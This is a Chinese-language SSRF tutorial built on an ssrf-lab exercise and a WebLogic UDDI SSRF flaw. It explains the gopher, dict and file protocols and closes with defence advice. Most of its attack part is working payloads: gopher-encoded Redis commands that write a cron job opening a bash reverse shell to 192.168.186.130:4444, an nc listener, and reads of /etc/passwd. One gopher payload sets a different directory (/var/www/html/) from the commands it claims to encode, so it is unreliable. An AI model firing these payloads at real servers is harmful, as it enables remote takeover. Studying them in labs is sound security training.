结合漏洞、ssrf-lab学习SSRF漏洞
字数 1804 2025-08-22 12:23:36
SSRF漏洞深入解析与实战教学
前言
本文通过分析Weblogic SSRF漏洞和ssrf-lab实验环境,全面讲解SSRF(Server-Side Request Forgery)漏洞的原理、挖掘与利用技术。内容涵盖SSRF基础知识、常见协议利用、内网探测、Redis服务攻击等实战技巧。
0x00 SSRF基础概念
SSRF简介
SSRF(Server-Side Request Forgery)即服务器端请求伪造,是一种利用漏洞伪造服务器端发起请求的攻击方式,本质上属于信息泄露漏洞。攻击者通过构造恶意请求,使服务器作为代理访问内部或外部资源,从而绕过客户端限制。
SSRF漏洞原理
SSRF形成的主要原因:
- 服务端提供了从其他服务器获取数据的功能
- 未对目标地址进行有效过滤和限制
- Web服务器通常可以访问互联网和所在内网
典型应用场景:
- 从指定URL获取网页内容
- 加载指定地址的图片
- 文件下载功能
攻击本质:利用可发起网络请求的服务作为跳板攻击内部其他服务。
关键协议与工具
Gopher协议
- 功能强大,在SSRF中发挥重要作用
- 可攻击内网FTP、Telnet、Redis、Memcache等服务
- 支持GET/POST请求构造
DICT协议
- 字典服务器协议(Dictionary Server Protocol)
- 默认端口2628
- 可用于信息收集和服务探测
Redis服务
- 默认端口6379
- 常与SSRF结合利用
- 可实现未授权访问和命令执行
Curl命令
- 常用命令行工具,用于请求Web服务器
- 关键参数:
-v:输出通信全过程,用于调试- 支持多种协议:file、ftp、dict、gopher等
示例命令:
# 基本GET请求
curl https://www.example.com
# 使用file协议读取文件
curl -v file:///etc/passwd
# 使用ftp协议
curl -v "ftp://127.0.0.1:端口/info"
# 使用dict协议
curl -v "dict://127.0.0.1:端口/info"
# 使用gopher协议
curl -v "gopher://127.0.0.1:端口/_info"
常见内网IP段
了解内网IP范围对SSRF攻击至关重要:
- C类:192.168.0.0 - 192.168.255.255
- B类:172.16.0.0 - 172.31.255.255
- A类:10.0.0.0 - 10.255.255.255
SSRF漏洞挖掘与利用
主要利用四种协议:
- file协议:本地文件读取
- http协议:内网IP扫描和端口探测
- gopher协议:攻击特定服务(如Redis)
- dict协议:服务信息收集
典型利用流程:
- 探测开放端口(如6379 Redis)
- 利用协议与目标服务交互
- 通过写入操作实现持久化或反弹shell
0x01 ssrf-lab实战
环境准备与基本探测
- 测试127.0.0.1,确认无内网IP限制
- 使用file协议读取敏感文件:
成功读取说明存在任意文件读取漏洞file:///etc/passwd
Redis服务安装与配置
在ssrf-basics容器中安装Redis:
$ docker ps # 查看容器编号
$ docker exec -it 容器编号 /bin/bash # 进入容器
$ apt-get install redis-server # 安装redis服务
$ redis-server # 开启redis服务
利用dict协议攻击Redis
- 获取Redis配置信息:
dict://127.0.0.1:6379/info - 获取Redis存储内容:
dict://127.0.0.1:6379/KEYS *
利用gopher协议攻击Redis
攻击原理:Redis以root权限运行时,通过写入定时任务实现反弹shell。
攻击步骤:
- 准备攻击命令:
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
- 转换为Gopher协议格式:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
- URL解码后内容:
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit
- 验证攻击结果:
在容器中查看插入的KEY值,确认攻击是否成功。
0x02 Weblogic SSRF漏洞实战
漏洞位置
Weblogic SSRF漏洞位于:
http://192.168.186.130:7001/uddiexplorer//uddiexplorer/SearchPublicRegistries.jsp
漏洞探测
- 构造请求参数:
?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
- 响应分析:
- 可访问端口:返回错误状态码
- 不存在端口:返回"could not connect over HTTP to server"
- 通过此方法可探测内网开放端口
Redis攻击实战
-
探测内网Redis服务:
发现172.18.0.2:6379可连通(Docker环境通常使用172.*网段) -
准备反弹shell命令:
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.186.130/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
- URL编码后payload:
%74%65%73%74%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%38%36%2e%31%33%30%2f%34%34%34%34%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%73%61%76%65%61%61%61
- 攻击步骤:
- 在攻击机监听4444端口:
nc -lvp 4444 - 发送构造的请求
- 等待定时任务执行,获取反弹shell
防御建议
-
输入验证与过滤:
- 限制请求协议(仅允许http/https)
- 禁止访问内网IP段
- 过滤特殊字符(如%0a%0d)
-
服务配置:
- Redis等服务不使用root权限运行
- 设置服务认证密码
- 限制可写目录
-
网络层面:
- 内网服务设置访问控制
- 重要服务不暴露在公网
-
代码层面:
- 使用白名单机制限制可访问域名
- 禁用不必要的协议(file、gopher、dict等)
通过本文的详细讲解和实战演示,读者应能全面理解SSRF漏洞的原理、利用方式及防御措施,为Web安全测试和防御提供有力参考。